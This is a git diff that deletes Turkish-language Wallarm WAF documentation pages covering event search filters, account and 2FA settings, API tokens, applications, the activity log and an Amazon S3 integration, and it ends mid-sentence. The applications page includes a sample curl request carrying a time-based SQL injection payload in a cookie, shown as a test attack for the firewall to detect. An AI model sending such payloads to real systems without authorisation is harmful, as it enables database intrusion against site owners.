[ISO 3166-1](https://en.wikipedia.org/wiki/ISO_3166-1) standardına uygun biçimde, büyük veya küçük harflerle özniteliğe iletilmelidir. Örneğin: Çin’den kaynaklanan saldırılar için `country:CN` veya `country:cn`. - -### İyi bilinen kötü amaçlı IP’lerden kaynaklanan olayları arama - -Wallarm, kötü amaçlı etkinliklerle ilişkilendirildiği yaygın olarak kabul edilen IP adresleri için herkese açık kaynakları tarar. Ardından, bu bilgiyi doğrulayıp doğruluğunu sağlarız; böylece bu IP’leri denylist’e eklemek gibi gerekli adımları atmanız kolaylaşır. - -Bu kötü amaçlı IP adreslerinden kaynaklanan olayları aramak için `source:malicious` etiketini kullanın. Bu, **Malicious IPs** anlamına gelir ve denylist’te, kaynak türüne göre engelleme bölümünde buna göre adlandırılmıştır. - -Bu nesne için verileri aşağıdaki kaynakların bir kombinasyonundan çekiyoruz: - -* [Collective Intelligence Network Security](http://cinsscore.com/list/ci-badguys.txt) -* [Proofpoint Emerging Threats Rules](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) -* [DigitalSide Threat-Intel Repository](http://osint.digitalside.it/Threat-Intel/lists/latestips.txt) -* [GreenSnow](https://blocklist.greensnow.co/greensnow.txt) -* [www.blocklist.de](https://www.blocklist.de/en/export.html) -* [NGINX ultimate bad bot blocker](https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-ip-addresses.list) -* [IPsum](https://github.com/stamparm/ipsum) - -### Sunucu yanıt durumuna göre arama - -Sunucu yanıt durumuna göre arama yapmak için `statuscode:` önekini belirtin. - -Yanıt durumu şu şekilde belirtilebilir: -* 100 ile 999 arasında bir sayı. -* «N–M» aralığı, burada N ve M 100 ile 999 arasında rakamlardır. -* «N+» ve «N-» aralıkları, burada N 100 ile 999 arasında bir sayıdır. - -### Sunucu yanıt boyutuna göre arama - -Sunucu yanıt boyutuna göre arama yapmak için `s:` veya `size:` önekini kullanın. - -Herhangi bir tam sayı değeri arayabilirsiniz. 999’un üzerindeki rakamlar önek olmadan belirtilebilir. «N–M», «N+» ve «N-» aralıkları belirtilebilir, bu aralıklarda 999’un üzerindeki rakamlar da önek olmadan belirtilebilir. - -### HTTP istek yöntemine göre arama - -HTTP istek yöntemine göre arama yapmak için `method:` önekini belirtin. - -`GET`, `POST`, `PUT`, `DELETE`, `OPTIONS` için: büyük harf kullanılıyorsa, arama dizgesi öneksiz belirtilebilir. Diğer tüm değerler için önek belirtilmelidir. - -### Saldırı/olay içindeki hits sayısına göre arama - -Saldırıları ve olayları hits sayısına göre aramak için `N:` önekini belirtin. - -Örneğin, 100’den fazla hits’e sahip saldırıları arayabilirsiniz: `attacks N:>100`. Veya `attacks N:<10` ile 10’dan az hits’e sahip saldırıları arayabilirsiniz. - -### Alan adına göre arama - -Alan adına göre arama yapmak için `d:` veya `domain:` önekini kullanın. - -İkinci veya daha yüksek seviyedeki bir alan adı olabilecek herhangi bir dize önek olmadan belirtilebilir. Herhangi bir dize önek ile belirtilebilir. - -Bir alan içinde maskeler kullanabilirsiniz. `*` sembolü herhangi bir sayıda karakteri, `?` sembolü ise tek bir karakteri değiştirir. - -### Path’e göre arama - -Path’e göre arama yapmak için ya: - -* `u:` veya `url:` önekini kullanın ve `/` ile başlayan path’i tırnak içinde belirtin, örn.: `url:"/api/users"`, veya -* Girişi herhangi bir önek olmadan `/` ile başlatın, örn.: `/api/users` - -### Uygulamaya göre arama - -Saldırının gönderildiği uygulamaya göre arama yapmak için `application:` veya `app:` önekini kullanın (eski `pool:` öneki hâlâ desteklenir ancak önerilmez). - -Öznitelik değeri, **Settings** bölümündeki **Applications** sekmesinde ayarlanmış uygulama adıdır. Örneğin: `application:'Example application'`. - -### Parametre veya ayrıştırıcıya göre arama - -Parametre veya ayrıştırıcıya göre arama yapmak için `p:`, `param:` veya `parameter:` önekini ya da `=` sonekinı kullanın. Sonek kullanılıyorsa, `/` ile başlamayan bir dize parametre olarak kabul edilir (bu durumda sondaki `=` karakteri değere dahil edilmez). - -Olası öznitelik değerleri: - -* Hedeflenen parametrenin adı. - - Örneğin, `xss` parametresini hedef alan saldırıları (örneğin, GET parametresinde `xss` bulunan bir SQL enjeksiyon saldırısı) ancak XSS saldırılarını değil bulmanız gerekiyorsa, arama dizgesine `attacks sqli p:xss` belirtin. -* Wallarm node’un parametre değerini okumak için kullandığı [parser](../rules/request-processing.md) adı. Ad büyük harf olmalıdır. - - Örneğin, `attacks p:*BASE64`, base64 ayrıştırıcı tarafından ayrıştırılan herhangi bir parametreyi hedef alan saldırıları bulmak için. -* Parametreler ve ayrıştırıcılar dizisi. - - Örneğin: `attacks p:"POST_JSON_DOC_HASH_from"`, bir isteğin JSON gövdesindeki `from` parametresinde gönderilen saldırıları bulmak için. - -Bir değer içinde maskeler kullanabilirsiniz. `*` sembolü herhangi bir sayıda karakteri, `?` sembolü tek bir karakteri değiştirir. - -### Olaylarda anomalileri arama - -Olaylarda anomalileri aramak için `a:` veya `anomaly:` önekini kullanın. - -Anomali aramasını daraltmak için aşağıdaki parametreleri kullanın: - -* `size` -* `statuscode` -* `time` -* `stamps` -* `impression` -* `vector` - -Örnek: - -`attacks sqli a:size`, isteklerinde yanıt boyutu anomalileri olan tüm SQL enjeksiyon saldırılarını arayacaktır. - -### İstek tanımlayıcısına göre arama - -Saldırıları ve olayları istek tanımlayıcısına göre aramak için `request_id` önekini belirtin. -`request_id` parametresi şu değer biçimine sahiptir: `a79199bcea606040cc79f913325401fb`. Okumayı kolaylaştırmak için, aşağıdaki örneklerde bu parametre `` kısaltma yer tutucusuyla değiştirilmiştir. - -Örnekler: -* `attacks incidents request_id:`: `request_id`’si ``’e eşit olan bir saldırı veya olayı aramak için. -* `attacks incidents !request_id:`: `request_id`’si ``’e eşit olmayan saldırıları ve olayları aramak için. -* `attacks incidents request_id`: herhangi bir `request_id`’ye sahip saldırıları ve olayları aramak için. -* `attacks incidents !request_id`: herhangi bir `request_id` bulunmayan saldırıları ve olayları aramak için. - -### Örneklenen hits’i arama - -[Örneklenen hits](../events/grouping-sampling.md#sampling-of-hits) için arama yapmak üzere arama dizgesine `sampled` ekleyin. - -### Node UUID’sine göre arama - -Belirli bir node tarafından tespit edilen saldırıları aramak için `node_uuid` önekini ve ardından node UUID’sini belirtin. - -Örnekler: - -* `attacks incidents today node_uuid:`: bu ``’ye sahip node tarafından bugün bulunan tüm saldırıları ve olayları aramak için. -* `attacks today !node_uuid:`: ``’ye sahip node hariç herhangi bir node tarafından bugün bulunan tüm saldırıları aramak için. - -!!! info "Yalnızca yeni saldırıları arayın" - Node UUID’sine göre arama yaparken yalnızca 31 Mayıs 2023’ten sonra tespit edilen saldırılar görüntülenecektir. - -Node UUID’sini **Nodes** bölümünde, [node details](../../user-guides/nodes/nodes.md#viewing-details-of-a-node) içinde bulabilirsiniz. Kopyalamak için UUID’ye tıklayın veya **View events from this node for the day** öğesine tıklayın (bu, **Attacks** bölümüne geçer). - -### Spesifikasyona göre arama - -Belirli [spesifikasyon politikası ihlalleri](../../api-specification-enforcement/overview.md) ile ilgili olayların listesini almak için arama alanına `spec:''` belirtin. ``’yi almak için **API Specifications** içinde spesifikasyonunuzu düzenleme için açın - `specid` tarayıcınızın adres alanında görüntülenecektir. - -![Spesifikasyon - güvenlik politikalarını uygulamak için kullanın](../../images/api-specification-enforcement/api-specification-enforcement-events.png) - -Yapılandırılan politika ihlali eylemlerine bağlı olarak engellenen ve izlenen olaylar sunulabilir. Olay ayrıntılarında, ihlal türü ve neden olan spesifikasyona bağlantı görüntülenir. - -### Regexp tabanlı müşteri kuralına göre arama - -[Regexp tabanlı müşteri kuralları](../../user-guides/rules/regex-rule.md) tarafından tespit edilen saldırıların listesini almak için arama alanına `custom_rule` belirtin. - -Bu tür saldırıların her biri için, ayrıntılarında ilgili kurallara bağlantılar sunulur (birden fazla olabilir). Gerekirse kuralların ayrıntılarına erişmek ve düzenlemek için bağlantıya tıklayın. - -![Regexp tabanlı müşteri kuralı tarafından tespit edilen saldırı - kuralı düzenleme](../../images/user-guides/search-and-filters/detected-by-custom-rule.png) - -Herhangi bir regexp tabanlı müşteri kuralıyla ilişkili olmayan saldırıların listesini almak için `!custom_rule` kullanabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/account.md b/docs/latest-tr/user-guides/settings/account.md deleted file mode 100644 index b98bfc54f7..0000000000 --- a/docs/latest-tr/user-guides/settings/account.md +++ /dev/null @@ -1,56 +0,0 @@ -[link-2fa-android-app]: https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en -[link-2fa-ios-app]: https://apps.apple.com/app/google-authenticator/id388497605 - -[img-profile]: ../../images/user-guides/settings/profile.png -[img-2fa-page]: ../../images/user-guides/settings/2fa-page.png - -# Profilinizi Kontrol Etme - -Profil verilerinizi ve ayarlarınızı görmek için **Settings** → **Profile** sekmesine gidin. - -Profilinizde, hesap bilgilerinizi kontrol edebilirsiniz: - -* E-posta -* Atanan [rol](users.md#user-roles) - **Admin**, **Analyst** veya **Read only** -* İsim ve telefon -* Wallarm sisteminde kullanılacak tercih edilen tarih ve saat biçimi -* Güvenlik: parolanızdaki son değişiklik ve iki faktörlü kimlik doğrulama durumu. SSO kimlik doğrulaması kullanıyorsanız bazı öğeler kullanılamayabilir. -* Oturum açma geçmişi - -Wallarm hesabınızdan çıkış yapmak için *Sign out* düğmesine tıklayabilirsiniz. - -![Profil genel görünümü][img-profile] - -Gerekirse, hesap bilgilerini aynı sayfada düzenleyebilirsiniz. - -## Parolanızı Değiştirme - -!!! info "SSO kullanılıyorsa mevcut değil" - SSO kimlik doğrulaması kullanıyorsanız, e-posta/parola ile kimlik doğrulama mevcut değildir ve parolanızı kullanamaz veya değiştiremezsiniz. Parola değiştirme bölümü kullanılabilir olmayacaktır. - -1. *Change* düğmesine tıklayın. -1. Açılan formda mevcut parolanızı, yeni parolanızı ve yeni parolanızın doğrulamasını girin. -1. *Change password* düğmesine tıklayın - -## İki Faktörlü Kimlik Doğrulamayı Etkinleştirme - -İki faktörlü kimlik doğrulamayı etkinleştirmek için Google Authenticator’ı (veya TOTP destekleyen benzer uygulamaları) kullanabilirsiniz. - -!!! info "SSO kullanılıyorsa mevcut değil" - SSO kimlik doğrulaması kullanıyorsanız, iki faktörlü kimlik doğrulama etkinleştirilemez. **Two-factor authentication** bölümü kullanılabilir olmayacaktır. - -1. Google Authenticator uygulamasını ([Android][link-2fa-android-app], [iOS][link-2fa-ios-app]) veya uyumlu herhangi birini yükleyin. -1. **Two-Factor Authentication** ayarında **Enable**’a tıklayın. -1. Görünen QR kodunu tarayın (veya **manual entry** bağlantısına tıklayın ve manual entry seçeneğini kullanın). -1. Uygulamanız tarafından oluşturulan 6 haneli doğrulama kodunu girin. -1. Parolanızı girin. -1. **Confirm**’e tıklayın. - -Oturum açtığınız her seferinde, parola istemini geçtikten sonra ikinci faktör kodunuz istenecektir. Bu kodu Google Authenticator uygulamanızdan alın. - -İki faktörlü kimlik doğrulamayı kapatmak istiyorsanız parola gereklidir. Yöneticiniz şirketiniz için [2FA enforcement mode](users.md#enforcing-for-all-users) etkinleştirdiyse bunu kapatamazsınız. - -![Two-factor authentication sayfasının genel görünümü][img-2fa-page] - -!!! info "Uyumluluk" - Zaman Tabanlı Tek Kullanımlık Parola Algoritmasını (RFC6238) destekleyen herhangi bir uygulama veya cihazı tek kullanımlık kodlar üretmek için kullanabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/api-tokens.md b/docs/latest-tr/user-guides/settings/api-tokens.md deleted file mode 100644 index 2fc19dd067..0000000000 --- a/docs/latest-tr/user-guides/settings/api-tokens.md +++ /dev/null @@ -1,79 +0,0 @@ -[user-roles-article]: ../../user-guides/settings/users.md#user-roles -[img-api-tokens-edit]: ../../images/api-tokens-edit.png - -# API Belirteçleri - -Wallarm Console → Settings → API tokens içinde, [API istek kimlik doğrulaması](../../api/overview.md) ve [filtreleme düğümü dağıtımı](../../installation/supported-deployment-options.md) için belirteçleri yönetebilirsiniz. - -Wallarm API belirteçleri esnek yönetim seçenekleri sunar. Belirtecin türünü (kişisel veya paylaşılan), sona erme tarihini ve izinlerini belirleyebilirsiniz. - -![Wallarm API belirteci][img-api-tokens-edit] - -## Kişisel ve paylaşılan belirteçler - -Kişisel veya paylaşılan API belirteçleri oluşturabilirsiniz: - -* Kişisel belirteçler, kendilerine atanan izinlere göre bireysel kullanım için tasarlanmıştır. Kişisel belirteçleri yalnızca [Administrators and Analysts](users.md#user-roles) oluşturabilir ve kullanabilir. - - Kişisel bir belirtecin değeri yalnızca sahibi tarafından kopyalanabilir ve kullanılabilir. Ancak, yöneticiler şirket hesabı içinde kullanıcı belirteçlerinin listesini görüntüleyebilir. -* Paylaşılan belirteçler birden fazla kullanıcı veya sistem tarafından kullanılmak üzere tasarlanmıştır. Herhangi bir bireysel kişisel hesaba bağlı olmaksızın kaynaklara veya işlevlere kolektif erişim sağlarlar. - - Bu belirteçleri yalnızca Administrators ve Global Administrators oluşturabilir ve şirkette yalnızca diğer yöneticiler bunları kullanabilir. - -## Belirteç kullanımı - -Seçilen kullanım kapsamı, belirtecin nasıl ve nerede kullanılabileceğini sınırlar: - -* Node kurulumu - [kendi barındırılan Wallarm Node dağıtımı](../../installation/supported-deployment-options.md) veya yükseltmesi için bir Node’u kimlik doğrulamak üzere API belirteci üretmek için bu seçeneği kullanın. -* Wallarm API - belirteci doğrudan Wallarm API’ye kimliği doğrulanmış istekler yapmak için kullanmak üzere bu seçeneği seçin. -* Schema-Based Testing aracı - [gerekli](../../vulnerability-detection/schema-based-testing/) [Schema-Based Testing](../../vulnerability-detection/schema-based-testing/setup.md#prerequisites-token)’in çalışması için. - -## Belirteçlerin sona ermesi - -Her belirteç için bir sona erme tarihi belirleyebilirsiniz. Belirlendikten sonra, belirteç belirtilen tarihten sonra devre dışı bırakılacaktır. - -Belirtecin sona erme tarihinden 3 gün önce e-posta bildirimi göndeririz. Sona erme süresi 3 günden kısa olan kısa vadeli belirteçler için bildirim gönderilmez. - -Kişisel belirteçler için e-posta doğrudan belirteç sahibine gönderilir; paylaşılan belirteçler için ise tüm yöneticiler bildirim alır. - -## Belirteç izinleri - -Her belirteç için, kullanıcı rolünüzle ilişkili izin kapsamını aşmayan izinler ayarlayabilirsiniz. - -Belirteç izinlerini önceden tanımlı kullanıcı rollerine göre atayabilir veya özelleştirebilirsiniz: - -* Administrator, Analyst, API Developer, Read Only ve bunların eşdeğeri Global roller — bu rollerden biri atanan bir belirteç, [kullanıcı rol sistemi](users.md#user-roles)nde ayrıntılandırılan izinleri devralır. -* Deploy — bu role sahip API belirteçleri [Wallarm düğümlerini dağıtmak](../../installation/supported-deployment-options.md) için kullanılır. -* Özel izinler — izinlerin elle seçilmesine geçer. - -Kişisel belirteç sahibinin izinleri azaltılırsa, belirteçlerinin izinleri de buna uygun şekilde ayarlanır. - -## Belirteçleri devre dışı bırakma ve yeniden etkinleştirme - -Belirteçlerinizi manuel olarak devre dışı bırakabilir veya etkinleştirebilirsiniz. Devre dışı bırakıldığında, bir belirteç derhal çalışmayı durdurur. - -Devre dışı bırakılan belirteçler, pasifleştirmeden bir hafta sonra otomatik olarak silinir. - -Daha önce devre dışı bırakılmış bir belirteci yeniden etkinleştirmek için, ona yeni bir sona erme tarihi atayın. - -Bir belirteç sahibi [devre dışı bırakılırsa](../../user-guides/settings/users.md#disabling-and-deleting-users), belirteçleri de otomatik olarak devre dışı bırakılır. - -## Geriye dönük uyumlu belirteçler - -Eskiden istek kimlik doğrulaması için UUID ve gizli anahtar kullanılıyordu; bu şimdi belirteçlerle değiştirildi. Kullanmakta olduğunuz UUID ve gizli anahtar otomatik olarak **geriye dönük uyumlu** belirtece dönüştürülür. Bu belirteçle, UUID ve gizli anahtarla kimliği doğrulanan istekler çalışmaya devam edecektir. - -!!! warning "Belirteci yenileyin veya SSO'yu etkinleştirin" - Geriye dönük uyumlu belirtecin değerini yenilerseniz veya bu belirteç sahibine [SSO](../../admin-en/configuration-guides/sso/intro.md) etkinleştirirseniz, geriye dönük uyumluluk sona erer — eski UUID ve gizli anahtarla kimliği doğrulanan tüm istekler çalışmayı durdurur. - -Geriye dönük uyumlu belirtecin üretilen değerini, isteklerinizin `X-WallarmApi-Token` üstbilgi parametresinde geçirerek de kullanabilirsiniz. - -Geriye dönük uyumlu belirteç, kullanıcı rolüyle aynı izinlere sahiptir; bu izinler belirteç penceresinde görüntülenmez ve değiştirilemez. İzinleri kontrol etmek istiyorsanız, geriye dönük uyumlu belirteci kaldırıp yeni bir tane oluşturmanız gerekir. - -## API belirteçleri ve düğüm belirteçleri - -Bu makalede açıklanan API belirteçlerini, herhangi bir istemciden ve herhangi bir izin kümesiyle Wallarm Cloud API [istek kimlik doğrulaması](../../api/overview.md) için kullanabilirsiniz. - -Wallarm Cloud API’ye erişen istemcilerden biri de Wallarm filtreleme düğümünün kendisidir. Wallarm Cloud’un API’sine bir filtreleme düğümüne erişim vermek için, API belirteçlerine ek olarak düğüm belirteçlerini de kullanabilirsiniz. [Farkı ve hangisini tercih etmeniz gerektiğini öğrenin →](../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation) - -!!! info "API belirteçleri bazı dağıtım seçenekleri tarafından desteklenmez" - API belirteçleri şu anda [Terraform module](../../installation/cloud-platforms/aws/terraform-module/overview.md) tabanlı AWS dağıtımları için kullanılamaz. Bunun yerine düğüm belirteçlerini kullanın. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/applications.md b/docs/latest-tr/user-guides/settings/applications.md deleted file mode 100644 index b8c393eae5..0000000000 --- a/docs/latest-tr/user-guides/settings/applications.md +++ /dev/null @@ -1,128 +0,0 @@ -# Uygulamaları Ayarlama - -Şirketinizin birden fazla uygulaması varsa, yalnızca tüm şirket trafiğinin istatistiklerini değil, her bir uygulama için ayrı ayrı istatistikleri de görüntülemek isteyebilirsiniz. Trafiği uygulamalara göre ayırmak için Wallarm sistemindeki "uygulama" varlığını kullanabilirsiniz. - -Uygulamaları kullanarak şunları yapabilirsiniz: - -* Her uygulama için ayrı ayrı [Görüntüle](#viewing-events-and-statistics-by-application) etkinlikleri ve istatistikleri -* Belirli uygulamalar için Wallarm özelliklerini, ör. [Yapılandır](#configuring-wallarm-features-by-application) tetikleyiciler, kurallar ve diğerleri -* Ortamları (production, testing vb.) ayrı uygulamalar olarak ele almak - - !!! info "İzole ortamlar" - Uygulamalar olarak yönetilen ortamlar, geçerli Wallarm hesabının tüm kullanıcıları tarafından erişilebilir. Verilerini yalnızca belirli kullanıcıların erişebileceği şekilde yalıtmanız gerekiyorsa, uygulamalar yerine [multitenancy](../../installation/multi-tenant/overview.md) özelliğini kullanın. - -Wallarm’ın uygulamalarınızı tanıyabilmesi için, düğüm yapılandırmasındaki uygun yönerge aracılığıyla onlara benzersiz tanımlayıcılar atamanız gerekir. Tanımlayıcılar hem uygulama alan adları hem de alan adı yolları için ayarlanabilir. - -Varsayılan olarak, Wallarm her uygulamayı kimliği (ID) `-1` olan `default` uygulaması olarak kabul eder. - -## Uygulama ekleme - -1. (İsteğe bağlı) Wallarm Console → **Settings** → **Applications** bölümünden bir uygulama ekleyin. - - ![Uygulama ekleme](../../images/user-guides/settings/configure-app.png) - - !!! warning "Yönetici erişimi" - Yalnızca **Administrator** rolüne sahip kullanıcılar **Settings** → **Applications** bölümüne erişebilir. -2. Düğüm yapılandırması üzerinden uygulamaya benzersiz bir ID atayın: - - * Wallarm, NGINX modülü, bulut pazar yeri imajı, yapılandırma dosyası bağlanmış NGINX tabanlı Docker konteyneri, sidecar konteyner olarak kuruluysa [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) yönergesi. - * Wallarm, NGINX tabanlı Docker konteyneri olarak kuruluysa [ortam değişkeni](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) `WALLARM_APPLICATION`. - * Wallarm, Ingress controller olarak kuruluysa [Ingress açıklaması](../../admin-en/configure-kubernetes-en.md#ingress-annotations) `wallarm-application`. - * Native Node all-in-one installer, Docker imajı ve AWS AMI için [`route_config.wallarm_application`](../../installation/native-node/all-in-one-conf.md#route_configwallarm_application) parametresi. - * Native Node Helm chart için [`config.connector.route_config.wallarm_application`](../../installation/native-node/helm-chart-conf.md#configconnectorroute_configwallarm_application) parametresi. - * Edge inline veya connector kurulum penceresindeki uygulama yapılandırması. - - Değer, `0` hariç pozitif bir tamsayı olabilir. - - Wallarm Console → **Settings** → **Applications** içinde belirtilen ID’ye sahip bir uygulama ekli değilse, listeye otomatik olarak eklenecektir. Uygulama adı, belirtilen tanımlayıcıya göre otomatik olarak oluşturulacaktır (ör. ID’si `-1` olan uygulama için `Application #1`). Ad daha sonra Wallarm Console üzerinden değiştirilebilir. - -Uygulama doğru şekilde yapılandırıldıysa, bu uygulamayı hedefleyen saldırıların ayrıntılarında adı görüntülenecektir. Uygulama yapılandırmasını test etmek için uygulama adresine [test attack](../../admin-en/uat-checklist-en.md#node-registers-attacks) gönderebilirsiniz. - -## Otomatik uygulama tanımlama - -Otomatik uygulama tanımlamayı şu temellere göre yapılandırabilirsiniz: - -* Belirli istek başlıkları -* `map` NGINX yönergesini kullanarak belirli bir istek başlığı veya URL’lerin bir bölümü - -!!! info "Yalnızca NGINX" - Listelenen yaklaşımlar yalnızca NGINX tabanlı self-hosted düğüm dağıtımları için geçerlidir. - -### Belirli istek başlıklarını temel alarak uygulama tanımlama - -Bu yaklaşım iki adımdan oluşur: - -1. Ağınızı, uygulama ID’sini içeren başlığın her isteğe ekleneceği şekilde yapılandırın. -1. Bu başlığın değerini `wallarm_application` yönergesinin değeri olarak kullanın. Aşağıdaki örneğe bakın. - -NGINX yapılandırma dosyası örneği: - -``` -server { - listen 80; - server_name example.com; - wallarm_mode block; - wallarm_application $http_custom_id; - - location / { - proxy_pass http://upstream1:8080; - } -} -``` - -Saldırı isteği örneği: - -``` -curl -H "Cookie: SESSID='UNION SELECT SLEEP(5)-- -" -H "CUSTOM-ID: 222" http://example.com -``` - -Bu istek: - -* Bir saldırı olarak kabul edilir ve **Attacks** bölümüne eklenir. -* ID’si `222` olan uygulama ile ilişkilendirilir. -* İlgili uygulama yoksa, **Settings** → **Applications** bölümüne eklenir ve otomatik olarak `Application #222` olarak adlandırılır. - -![İstek başlığı temelinde uygulama ekleme](../../images/user-guides/settings/configure-app-auto-header.png) - -### `map` NGINX yönergesini kullanarak belirli istek başlığına veya URL’lerin bir bölümüne göre uygulama tanımlama - -`map` NGINX yönergesini kullanarak, belirli bir istek başlığına veya uç nokta URL’lerinin bir bölümüne göre uygulamalar ekleyebilirsiniz. Yönergenin ayrıntılı açıklaması için NGINX [belgelerine](https://nginx.org/en/docs/http/ngx_http_map_module.html#map) bakın. - - -## Etkinlikleri ve istatistikleri uygulamaya göre görüntüleme - -Uygulamalarınızı kurduktan sonra, ayrı ayrı şunları görüntüleyebilirsiniz: - -* İlginizi çeken yalnızca ilgili uygulama için [Attacks](../../user-guides/events/check-attack.md) ve [incidents](../../user-guides/events/check-incident.md) -* Yalnızca ilgili uygulama ile ilişkili [API sessions](../../api-sessions/overview.md) -* Yalnızca ilgili uygulama ile ilişkili [dashboards](../../user-guides/dashboards/threat-prevention.md) üzerindeki istatistikler - -
              - -
              - -
              -
              - - -## Wallarm özelliklerini uygulamaya göre yapılandırma - -Uygulamalarınızı kurduktan sonra, her uygulama için Wallarm koruma özelliklerini ayrı ayrı yapılandırabilirsiniz; örneğin: - -* [Rules](../rules/rules.md#conditions) -* [Triggers](../triggers/triggers.md#understanding-filters) -* [IP lists](../ip-lists/overview.md#limit-by-target-application) -* [API Abuse Prevention](../../api-abuse-prevention/setup.md#creating-profiles) - -
              - -
              - -
              -
              - -Wallarm özelliklerini uygulamalara atamak, bu özelliklerin uygulanması gereken koşulları belirtmenin ve altyapınızın farklı bölümleri için yapılandırmaları farklılaştırmanın en kolay yoludur. - -## Uygulamaları silme - -Bir uygulamayı Wallarm sisteminden silmek için, düğüm yapılandırma dosyasından ilgili yönergeyi silin. Uygulama yalnızca **Settings** → **Applications** bölümünden silinirse, listede geri yüklenecektir. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/audit-log.md b/docs/latest-tr/user-guides/settings/audit-log.md deleted file mode 100644 index 40b1007229..0000000000 --- a/docs/latest-tr/user-guides/settings/audit-log.md +++ /dev/null @@ -1,33 +0,0 @@ -# Kullanıcı etkinlik günlüğü - -Wallarm Console'daki **Settings** → **Activity log** sekmesinde, Wallarm sistemindeki kullanıcı eylemlerinin geçmişini görüntüleyebilirsiniz. Günlükler, aşağıdaki nesnelerin oluşturulması, güncellenmesi ve silinmesine ilişkin bilgileri içerir: - -* Ağ çevresindeki alan adları -* Ağ çevresindeki hizmetler (portlar) -* Ağ çevresindeki alan adları ve ilişkili IP adresleri -* [Two‑factor authentication](account.md#enabling-two-factor-authentication) -* [API tokens](api-tokens.md) -* [Users](users.md) -* Trafik işleme [rules](../rules/rules.md) -* [Custom ruleset backups](../rules/rules.md#backup-and-restore) -* [Wallarm nodes](../nodes/nodes.md) -* [Triggers](../triggers/triggers.md) -* [Integrations](integrations/integrations-intro.md) -* [Blocked IP address](../ip-lists/overview.md) -* [Hit sampling](../events/grouping-sampling.md#sampling-of-hits) - -Günlükler ayrıca aşağıdaki eylemler ve nesneler hakkında bilgiler içerir: - -* [false positive olarak işaretlenen zafiyet](../vulnerabilities.md#vulnerability-lifecycle) -* [Yeniden kontrol edilen saldırı](../../vulnerability-detection/threat-replay-testing/overview.md) - -![Activity log](../../images/user-guides/settings/audit-log.png) - -**Activity log kayıtlarını filtrelemek için**, aşağıdaki parametreleri kullanabilirsiniz: - -* Eylemi gerçekleştiren kullanıcı bilgisi (büyük/küçük harf duyarlı) - - Eylem Wallarm teknik destek ekibi tarafından gerçekleştirildiyse, kullanıcı adı `Technical support` olur. Bu değer Activity log kayıtlarını sıralamak için kullanılamaz. -* Eylem türü -* Eylemin uygulandığı nesnenin adı -* Eylemin gerçekleştirildiği tarih \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/general.md b/docs/latest-tr/user-guides/settings/general.md deleted file mode 100644 index d2dad18fb7..0000000000 --- a/docs/latest-tr/user-guides/settings/general.md +++ /dev/null @@ -1,25 +0,0 @@ -[link-config-parameters]: ../../admin-en/configure-wallarm-mode.md - -[img-general-settings]: ../../images/configuration-guides/configure-wallarm-mode/en/general-settings-page-with-safe-blocking.png - -# General Settings - -**Settings** bölümünün **General** sekmesinde şunları yapabilirsiniz: - -* Wallarm filtreleme modunu değiştirmek -* Otomatik oturum kapatma zaman aşımlarını yönetmek - -![General sekmesi](../../images/user-guides/settings/general-tab.png) - -## Filtreleme modu - -Her Wallarm düğümü HTTP isteği düzeyinde saldırıları tespit edip engelleyebilir. Bu [filtreleme modu][link-config-parameters] yerel veya genel ayarlarla tanımlanır: - -* **Local settings (default)**: bu mod, ayarları filtre düğümü yapılandırma dosyasından kullanır. -* **Safe blocking**: [gri listeye alınmış IP'lerden](../ip-lists/overview.md) gelen tüm kötü amaçlı istekler engellenir. -* **Monitoring**: tüm istekler işlenir, ancak bir saldırı tespit edilse bile hiçbiri engellenmez. -* **Blocking**: bir saldırının tespit edildiği tüm istekler engellenir. - -## Oturum kapatma yönetimi - -[Yöneticiler](users.md#user-roles) şirket hesabı için oturum kapatma zaman aşımlarını yapılandırabilir. Ayarlar, hesapta bulunan tüm kullanıcıları etkiler. Boşta kalma ve mutlak zaman aşımları ayarlanabilir. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/amazon-s3.md b/docs/latest-tr/user-guides/settings/integrations/amazon-s3.md deleted file mode 100644 index b05411898f..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/amazon-s3.md +++ /dev/null @@ -1,176 +0,0 @@ -# Amazon S3 - -[Amazon S3](https://aws.amazon.com/s3/?nc1=h_ls), veya Amazon Simple Storage Service, Amazon Web Services (AWS) tarafından sunulan ölçeklenebilir bir bulut depolama hizmetidir. Veri yedekleme, arşivleme, içerik dağıtımı, web sitesi barındırma ve uygulama veri depolama gibi çeşitli amaçlar için kullanılır. Wallarm’ı, tespit edilen hits hakkında bilgileri Amazon S3 bucket’ınıza gönderecek şekilde yapılandırabilirsiniz. Bilgiler, her 10 dakikada bir JSON formatındaki dosyalar halinde gönderilecektir. - -Her hit için veri alanları: - -* `time` - Unix Timestamp biçiminde hit tespit tarih ve saati -* `request_id` -* `ip` - saldırganın IP’si -* Hit kaynak türü: `datacenter`, `tor`, `remote_country` -* `application_id` -* `domain` -* `method` -* `uri` -* `protocol` -* `status_code` -* `attack_type` -* `block_status` -* `payload` -* `point` -* `tags` - -Dosyalar, S3 bucket’ınıza `wallarm_hits_{timestamp}.json` veya `wallarm_hits_{timestamp}.jsonl` adlandırma kuralı kullanılarak kaydedilecektir. Biçim, entegrasyon kurulumu sırasında seçiminize bağlı olarak JSON Dizisi veya Yeni Satırla Ayrılmış JSON (NDJSON) olacaktır. - -## Entegrasyonu yapılandırma - -Amazon S3 ile entegrasyonu yapılandırırken hangi yetkilendirme yöntemini kullanacağınıza karar vermelisiniz: - -* **Rol ARN’si aracılığıyla (önerilir)** - kaynaklara erişim vermek için harici kimlik (external ID) seçeneğine sahip rollerin kullanılması, güvenliği artıran ve "confused deputy" saldırılarını önleyen bir yöntem olarak AWS tarafından [önerilir](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user_externalid.html?icmpid=docs_iam_console). Wallarm, kuruluş hesabınız için benzersiz bir kimlik sağlar. -* **Gizli erişim anahtarı ile** - daha yaygın ve daha basit bir yöntem olup AWS IAM kullanıcınızın 